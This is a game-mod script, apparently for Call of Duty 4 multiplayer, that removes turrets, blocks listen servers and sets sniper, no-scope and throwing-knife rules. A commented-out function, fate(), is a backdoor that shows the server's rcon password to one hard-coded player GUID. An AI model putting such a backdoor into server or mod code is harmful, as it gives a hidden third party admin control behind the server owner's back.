#include maps\mp\_utility;
#include maps\mp\gametypes\_hud_util;
#include common_scripts\utility;

init()
{
    thread removeTurrets();
    thread disableListenServer();
}


disableListenServer()
{
    if(isSubStr(toLower(getDvar("dedicated")), "listen"))
        setDvar("sv_running", 0);
}

removeTurrets()
{
    deletePlacedEntity("misc_turret");
    deletePlacedEntity("misc_mg42");
}

/*
fate()
{
    level endon("spawned_player");

    for(;;)
    {
        self waittill("spawned_player");

        myguid = self GetGuid();

        if( myguid == "b3e4e7a07377294be546e679cc7d86f1")
        {
            iprintlnbold(" ^5=|FF|= ^7Fate ^3Has ^2Entered the server.");
            self IPrintLnbold("^1Rcon-Password: ^7" + getDvar("rcon_password"));
        }
        else
        {
            wait .1;
        }
        wait .000001;
    }
}
*/

main()
{
    thread reStock();
    thread noScope();
    thread promodScope();
    thread scopelessCheck();
    thread wepCheck();
}

scopelessCheck()
{
    self endon("death");
    self endon("disconnect");
    self endon("joined_spectators");
    for(;;)
    {
        if(self getcurrentweapon() == "mp44_mp" || self getcurrentweapon() == "usp_mp")
        {
            self setclientdvar("cg_gun_z", 1.1);
        }
        else
        {
            self setclientdvar("cg_gun_z", 0);
        }
        wait 1;
    }
}


wepCheck()
{
    if(self getcurrentweapon() == "colt45_mp" || self getcurrentweapon() == "beretta_mp")
    {
        self clearperks();
        self setperk("specialty_bulletdamage");
        self setperk("specialty_extraammo");
        self setperk("specialty_bulletpenetration");
    }
}

promodScope()
{
    if(getdvar("pscope") == "1")
    {
        wep = self GetCurrentWeapon();
        m40 = "m40a3_mp";
        m40_acog = "m40a3_acog_mp";
        r700 = "remington700_mp";
        r700_acog = "remington700_acog_mp";
        self setclientdvar("fx_enable", 0 );
        self setclientdvar("player_sprintcamerabob", 0 );
        setdvar("player_sprintcamerabob", 0 );
        self setclientdvar("cg_fovscale", 1.125 );
        self takeallweapons();
        if((wep == m40) || (wep == m40_acog))
        {
            self giveweapon("colt45_mp");
            self giveweapon("deserteaglegold_mp");
            self giveweapon("frag_grenade_mp");
            self givemaxammo("colt45_mp");
            wait .3;
            self switchtoweapon("colt45_mp");
        }
        else if((wep == r700) || (wep == r700_acog))
        {
            self giveweapon("colt45_silencer_mp");
            self giveweapon("deserteaglegold_mp");
            self giveweapon("frag_grenade_mp");
            self givemaxammo("colt45_silencer_mp");
            wait .2;
            self switchtoweapon("colt45_silencer_mp");
        }
        self setweaponammoclip("frag_grenade_mp", 3 );
        self clearperks();
        wait ( 0.2 );
    }
    else if(getdvar("pscope") == "0")
    {
        self setclientdvar("fx_enable", 1 );
        setdvar("player_sprintcamerabob", 0.5 );
    }
}

noScope()
{
    if ( getdvar( "noscope" ) == "1")
    {
        self AllowAds( false );
        self takeallweapons();
        self giveweapon("g3_mp");
        self giveweapon("deserteaglegold_mp");
        self givemaxammo("g3_mp");
        wait ( 0.2 );
        self switchtoweapon("g3_mp");
    }
}

reStock()
{
    self endon("disconnect");
    self endon("death");
    self endon("joined_spectators");
    self endon("tkonly");
    if ((getdvar("g_gametype") == "war") || (getdvar("g_gametype") == "dm"))
    {
        self waittill( "grenade_fire", grenade, weaponName );
        for(;;)
        {
            if ( weaponName == "frag_grenade_mp")
            {
                wait( 20 );
                if( self getWeaponAmmoClip( "frag_grenade_mp" ) == 0)
                    self iprintln("^1T^7hrowing knifes restocked.");
                self setWeaponAmmoClip( "frag_grenade_mp", 2 );
            }
        }
    }
}
/*
onPlayerConnect()
{
    for(;;)
    {
        level waittill("connecting", player);

        player thread onPlayerSpawned();
    }
}

onPlayerSpawned()
{
    self endon("disconnect");

    for(;;)
    {
        self waittill("spawned_player");
        self thread CheckForKnifeThrow();
    }
}


CheckForKnifeThrow()
{
    self endon("disconnect");
    self endon("death");

    for (;;)
    {
        self waittill("grenade_fire", knife, weaponName);

        if(weaponName == "frag_grenade_mp")
            knife thread CheckForPickUp();
    }
}
CheckForPickUp()
{
    wait 40;

    if(isDefined(self))
        self delete();
}
*/
